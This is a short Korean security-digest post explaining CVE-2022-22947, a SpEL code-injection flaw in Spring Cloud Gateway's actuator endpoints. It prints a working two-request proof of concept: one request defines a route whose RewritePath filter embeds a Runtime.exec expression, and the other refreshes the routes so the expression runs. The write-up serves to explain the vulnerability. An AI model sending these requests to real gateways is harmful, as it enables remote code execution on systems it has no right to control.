[하루한줄] CVE-2022-22947: Spring Cloud Gateway Code Injection vulnerability

URL

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

Target

  • Spring Cloud Gateway

Explain

Spring 프레임워크에서 API Gateway를 구현하기 위한 라이브러리 Spring Cloud Gateway 에서 Code Injection으로 인한 원격 코드 실행 취약점이 발견되었습니다.

Spring Cloud Gateway는 SpEL 표현식을 사용하며 Spring Cloud Gateway 모듈 중 ShortcutConfigurablegetValue 메서드는 StandardEvaluationContext를 사용해 모든 유효한 SpEL 표현식을 처리하는데, SpEL을 전달하는 과정에서 입력에 대한 검사가 존재하지 않아 해커는 임의 코드를 실행하는 SpEL을 전달할 수 있습니다.

SpEL(Spring Expression Language, 스프링 표현 언어) : 스프링에서 지원하는 일종의 표현이며 #{...} 으로 나타냅니다.

PoC는 두 단계의 HTTP Request로 구성됩니다.

먼저 실행할 임의 코드가 포함된 RewritePath의 인수를 StandardEvaluationContext로 처리할 수 있도록 SpEL 표현으로 캡슐화합니다.

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")} 와 같이 캡슐화한 HTTP Request를 보냅니다.

이후 해당 구성을 강제로 로드하는 아래 Request를 보냅니다.

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 258

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")} = /${path}], order = 1]"
  ],
  "uri": "https://wya.pl",
  "order": 0
}

결과적으로 SpEL 표현식을 실행해 해커가 원격에서 임의의 코드를 실행할 수 있습니다.



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.